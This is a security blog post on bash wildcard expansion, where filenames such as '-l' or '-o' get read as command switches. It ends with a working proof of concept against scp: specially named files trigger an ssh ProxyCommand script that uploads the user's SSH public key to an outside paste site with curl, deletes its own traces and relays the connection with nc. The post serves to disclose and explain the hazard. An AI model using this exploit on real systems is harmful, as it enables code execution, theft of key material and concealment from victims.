Exploiting Wildcard Expansion on Linux

Reading Time: 7 min. read

Wildcard Expansion

When you type a command with a “*“ in bash, bash expands it to the list of all files in the directory and passes them all as arguments to the program. For example, “rm *“ , will remove files in the current directory.

Filenames Misinterpreted as Switches

Most command line programs can take switches that affect how they work. For example, the ls command, when ran without any switches, looks like the output below.

1
2
[stephen@superX foo]$ ls
asdf.txt foobar -l

Now let’s say you want to know what group and user owns these files. You can pass “-l” to the ls program to figure that out, which looks like this:

1
2
3
4
5
[stephen@superX foo]$ ls -l
total 0
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 asdf.txt
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 foobar
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 -l

Notice there is a file named -l in our directory. Let’s try “ls *“ now and see what happens:

1
2
3
[stephen@superX foo]$ ls *
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 asdf.txt
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 foobar

The last two outputs are similar, but the output of “ls *“ is different. It is missing the “-l” file, which was interpreted by ls as the “-l” switch. There’s no way for the ls program to tell that the “-l” came from the wildcard expansion and wasn’t actually what we in intended. It’s equivalent to running:

1
2
3
[stephen@superX foo]$ ls asdf.txt foobar.txt -l
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 asdf.txt
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 foobar

Security Problems

Misinterpreted filenames can lead to problems when someone runs a wildcard expansion on a folder they download from the Internet, for example, without first checking the filenames. Could this be used to attack someone’s computer? Can we make a program do something bad by having specially-named files in the directory? Yes, it turns out that we can.

Known Issue

This problem is well-known, but it still surprises a lot of people. There has been some discussion of it on the Full Disclosure mailing list.

Generally, we’re told that this is a “feature”, and that doing anything else would be even more surprising and difficult to understand to someone who really understands what’s going on. Even if that’s the case, if lots of people misunderstand it, and those people can be exploited as a result, then it should be considered a security vulnerability, either in the design or in the documentation.

The posting to Full Disclosure demonstrates how wildcard expansion can be abused to make a user delete files they didn’t intend to. That’s annoying, but isn’t too severe a problem. What we really want is to turn an improper use of “*“ into code execution, and that’s what we’ve done.

Proof of Concept Exploit

To show that it’s possible to turn this problem into an arbitrary code execution attack, we attack the “scp” command. The scp command provides the “-o” option, which passes a configuration option to ssh. Luckily, ssh has a configuration option that involves running a command. We can take advantage of this to get our script running.

Suppose we have control over the contents of a directory, and inside that directory our victim will run the following command. Imagine, for example, that the user just downloaded a web application’s source code from the attacker’s website and is uploading the files to their web server.

1
$ scp * user@example.org:/var/www/

To exploit this command, in the directory we place three files:

“-o” - SCP will interpret this file as the “-o” switch.
“ProxyCommand sh supercool.sh %h %p” - SCP will interpret this file’s name as the argument to the “-o” switch.
“supercool.sh” - The script that will run, containing the attacker’s code.
“zzz.txt” - Another file in the directory which serves no purpose for the exploit.

It’s okay to have more files in the directory, so long as none of their names fall between “-o” and “ProxyCommand” in alphabetical order, or come before “-o” in alphabetical order (bash ignores the leading dash when sorting the names, and is case-insensitive). This limitation probably makes actual attacks difficult, since the very suspicious “ProxyCommand” file will show up near the top of the directory listing, if the user does look.

Inside “supercool.sh”, we have a script that will do what “ProxyCommand” is supposed to do, along with some malicious commands:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/bin/sh
# Upload their SSH public key to the Internet, and put a scary message in /tmp/.
echo "By @DefuseSec and @redragonx..." > /tmp/you-have-been-hacked.txt
echo "This could have been your private key..." >> /tmp/you-have-been-hacked.txt
curl -s -d "jscrypt=no" -d "lifetime=864000" \
-d "shorturl=yes" --data-urlencode "paste@$HOME/.ssh/id_rsa.pub" \
https://defuse.ca/bin/add.php -D - | \
grep Location | cut -d " " -f 2 >> /tmp/you-have-been-hacked.txt
# Delete evidence of our attack.
rm ./-o ProxyCommand\ sh\ supercool.sh\ %h\ %p
echo > ./supercool.sh
# Do what ProxyCommand is supposed to do.
nc -p 22332 -w 5 $1 $2

When the victim runs their scp command, it will appear successful:

1
2
3
$ scp * user@example.org:/var/www/
supercool.sh
zzz.txt

But, when the user checks their /tmp/ directory, they’ll see our message:

1
2
3
4
$ cat /tmp/you-have-been-hacked.txt
By @DefuseSec and @redragonx...
This could have been your private key...
https://defuse.ca/b/QQ3nxADu

You can download the entire proof of concept directory in a .zip file here. Be careful, and have fun!

This was written by @RedragonX and @DefuseSec.